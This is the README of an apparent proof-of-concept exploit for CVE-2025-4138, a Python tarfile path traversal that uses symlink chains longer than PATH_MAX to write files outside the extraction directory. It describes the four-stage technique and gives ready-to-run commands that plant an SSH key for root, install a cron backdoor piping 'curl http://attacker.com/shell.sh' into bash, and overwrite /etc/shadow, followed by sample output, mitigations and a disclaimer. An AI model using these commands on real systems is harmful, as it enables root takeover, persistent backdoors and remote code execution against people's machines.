CVE-2025-4138 - Python tarfile PATH_MAX Bypass PoC

Author: d3vn0mi

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 | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
 | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
  \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/

  [ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
  [ Author: d3vn0mi                                 ]

Overview

A proof-of-concept exploit for CVE-2025-4138, a path traversal vulnerability in Python's tarfile module. The vulnerability allows an attacker to craft a malicious tar archive that writes files to arbitrary locations outside the intended extraction directory by abusing symlink chains to exceed PATH_MAX.

Vulnerability Details

How It Works

The exploit operates in four stages:

1. Path Inflation -- A chain of deeply nested directories and symlinks is constructed so that the fully resolved path exceeds the kernel's PATH_MAX limit (4096 bytes on Linux).

2. Pivot Symlink -- A symlink is added whose resolved path crosses the PATH_MAX boundary. Because the path is too long to resolve, Python's tarfile safety checks (which rely on os.path.realpath()) silently fail and skip validation.

3. Escape Symlink -- A second symlink uses ../ traversal through the pivot to escape the extraction directory entirely and point to an attacker-controlled absolute path on the filesystem.

4. Payload Drop -- A regular file is written through the escape symlink, landing at the target path with attacker-controlled contents and permissions.

Extract dir
    |
    +-- ddd...d/          (247-char dir)
    |   +-- a -> ddd...d  (symlink shortcut)
    |   +-- ddd...d/
    |       +-- b -> ddd...d
    |       +-- ...       (16 levels deep, resolved path > 4096)
    |
    +-- a/b/.../p/lll...l -> ../../...   (pivot - PATH_MAX exceeded)
    +-- escape -> pivot + ../../... + /target/dir  (escape)
    +-- escape/target_file  <-- PAYLOAD LANDS HERE (outside extract dir)

Installation

git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc

No external dependencies are required -- the exploit uses only Python 3 standard library modules.

Usage

usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                        [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                        [-d DEPTH] [-v] [-q]

Options

Examples

Write an SSH public key to root's authorized_keys:

python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v

Write a cron job for persistence:

python3 cve_2025_4138.py \
  -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
  -t /etc/cron.d/backdoor \
  -m 0644 \
  -o cron_exploit.tar

Write arbitrary file content from a local file:

python3 cve_2025_4138.py \
  -p payload.txt \
  -t /etc/shadow \
  -o shadow_exploit.tar \
  -v

Output

[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*]   Chain link 1/16: resolved path length ~247 bytes
[*]   Chain link 2/16: resolved path length ~494 bytes
    ...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.

Mitigation

• Upgrade Python to a patched version once a fix is released.
• Use tarfile.data_filter (Python 3.12+) which provides stricter extraction controls.
• Never extract untrusted tar archives as root or into sensitive directories.
• Use --strip-components or validate archive contents before extraction.
• Apply filesystem-level protections such as restricting symlink following (fs.protected_symlinks).

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse. Always obtain proper written authorization before testing against systems you do not own.

License

This project is licensed under the MIT License.

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